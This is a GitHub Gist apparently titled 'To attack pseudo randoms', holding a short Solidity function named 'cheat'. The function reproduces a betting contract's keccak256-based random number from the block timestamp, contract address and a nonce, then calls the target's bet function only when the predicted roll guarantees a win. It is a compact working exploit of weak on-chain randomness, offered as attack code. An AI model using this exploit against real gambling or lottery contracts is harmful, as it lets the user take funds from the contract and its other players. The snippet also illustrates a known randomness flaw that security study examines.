Last active
September 6, 2019 00:09
-
-
Save bertolo1988/870315c7287212344f21182af0e48d9c to your computer and use it in GitHub Desktop.
To attack pseudo randoms.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function cheat(uint nonce, uint256 amount) external returns (uint stakeInput, uint spinUnderInput, uint spin, uint payout, uint prize, uint previousBalance, uint newBalance) { | |
uint randomnumber = uint(keccak256(abi.encodePacked(now, address(this), nonce))) % 100; | |
require(randomnumber >= 11, "rolled number too low"); | |
require(randomnumber <= 89, "rolled number too high"); | |
return instance.bet(amount, (randomnumber + 2)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment